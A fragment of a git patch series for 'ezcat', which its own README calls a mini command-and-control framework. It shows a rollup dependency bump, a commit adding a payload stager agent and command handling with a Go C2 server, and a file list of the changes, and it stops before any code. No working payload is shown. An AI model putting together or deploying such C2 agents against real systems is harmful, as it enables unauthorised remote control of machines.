"4.21.2", - "@rollup/rollup-linux-s390x-gnu": "4.21.2", - "@rollup/rollup-linux-x64-gnu": "4.21.2", - "@rollup/rollup-linux-x64-musl": "4.21.2", - "@rollup/rollup-win32-arm64-msvc": "4.21.2", - "@rollup/rollup-win32-ia32-msvc": "4.21.2", - "@rollup/rollup-win32-x64-msvc": "4.21.2", + "@rollup/rollup-android-arm-eabi": "4.27.3", + "@rollup/rollup-android-arm64": "4.27.3", + "@rollup/rollup-darwin-arm64": "4.27.3", + "@rollup/rollup-darwin-x64": "4.27.3", + "@rollup/rollup-freebsd-arm64": "4.27.3", + "@rollup/rollup-freebsd-x64": "4.27.3", + "@rollup/rollup-linux-arm-gnueabihf": "4.27.3", + "@rollup/rollup-linux-arm-musleabihf": "4.27.3", + "@rollup/rollup-linux-arm64-gnu": "4.27.3", + "@rollup/rollup-linux-arm64-musl": "4.27.3", + "@rollup/rollup-linux-powerpc64le-gnu": "4.27.3", + "@rollup/rollup-linux-riscv64-gnu": "4.27.3", + "@rollup/rollup-linux-s390x-gnu": "4.27.3", + "@rollup/rollup-linux-x64-gnu": "4.27.3", + "@rollup/rollup-linux-x64-musl": "4.27.3", + "@rollup/rollup-win32-arm64-msvc": "4.27.3", + "@rollup/rollup-win32-ia32-msvc": "4.27.3", + "@rollup/rollup-win32-x64-msvc": "4.27.3", "fsevents": "~2.3.2" } }, From 891a158fb088794e600d052ac7e4bd2667388112 Mon Sep 17 00:00:00 2001 From: ngn Date: Thu, 21 Nov 2024 05:13:32 +0300 Subject: [PATCH 4/6] working on tcp server/client connection --- app/README.md | 3 - app/src/routes/generate/+page.svelte | 43 +-- payloads/stage/Makefile | 13 +- payloads/stage/build.sh | 4 +- payloads/stage/src/agent.c | 83 +++++ payloads/stage/src/agent.h | 14 + payloads/stage/src/client.c | 444 --------------------------- payloads/stage/src/client.h | 53 ---- payloads/stage/src/cmd.c | 51 +++ payloads/stage/src/cmd.h | 14 + payloads/stage/src/config.h | 8 - payloads/stage/src/log.c | 18 -- payloads/stage/src/log.h | 3 - payloads/stage/src/main.c | 149 ++------- payloads/stage/src/packet.c | 235 ++++---------- payloads/stage/src/packet.h | 71 ++--- payloads/stage/src/util.c | 138 ++++----- payloads/stage/src/util.h | 12 +- server/agent/agent.go | 9 +- server/agent/job.go | 2 +- server/agent/list.go | 4 +- server/builder/builder.go | 18 +- server/builder/stage.go | 8 +- server/c2/packet.go | 133 +++++++- server/c2/server.go | 63 +++- server/main.go | 26 +- server/routes/job.go | 8 +- server/util/util.go | 13 +- 28 files changed, 611 insertions(+), 1029 deletions(-) delete mode 100644 app/README.md create mode 100644 payloads/stage/src/agent.c create mode 100644 payloads/stage/src/agent.h delete mode 100644 payloads/stage/src/client.c delete mode 100644 payloads/stage/src/client.h create mode 100644 payloads/stage/src/cmd.c create mode 100644 payloads/stage/src/cmd.h delete mode 100644 payloads/stage/src/config.h delete mode 100644 payloads/stage/src/log.c delete mode 100644 payloads/stage/src/log.h diff --git a/app/README.md b/app/README.md deleted file mode 100644 index 86a2bb3..0000000 --- a/app/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# ezcat/app - -Frontend for the ezcat mini-C2 framework diff --git a/app/src/routes/generate/+page.svelte b/app/src/routes/generate/+page.svelte index 3742eca..fe01d91 100644 --- a/app/src/routes/generate/+page.svelte +++ b/app/src/routes/generate/+page.svelte @@ -1,5 +1,5 @@